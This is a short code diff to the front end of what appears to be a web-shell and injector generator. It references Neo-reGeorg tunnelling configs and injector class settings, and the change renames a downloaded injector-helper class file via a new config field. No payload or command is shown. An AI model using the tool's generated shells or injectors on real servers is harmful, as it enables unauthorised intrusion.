</div>
|
</div>
|
||||||
}
|
}
|
||||||
button={
|
button={
|
||||||
@@ -144,7 +144,7 @@ export default function ShellResult({
|
|||||||
}
|
}
|
||||||
downloadBytes(
|
downloadBytes(
|
||||||
generateResult?.injectorHelperBytesBase64Str,
|
generateResult?.injectorHelperBytesBase64Str,
|
||||||
generateResult?.shellClassName + "$1",
|
generateResult?.injectorConfig.injectorHelperClassName,
|
||||||
);
|
);
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
|
|||||||
@@ -76,6 +76,7 @@ export interface NeoreGeorgShellToolConfig {
|
|||||||
|
|
||||||
export interface InjectorConfig {
|
export interface InjectorConfig {
|
||||||
injectorClassName?: string;
|
injectorClassName?: string;
|
||||||
|
injectorHelperClassName?: string;
|
||||||
classInheritance?: string;
|
classInheritance?: string;
|
||||||
urlPattern?: string;
|
urlPattern?: string;
|
||||||
staticInitialize?: boolean;
|
staticInitialize?: boolean;
|
||||||
|
|||||||
Reference in New Issue
Block a user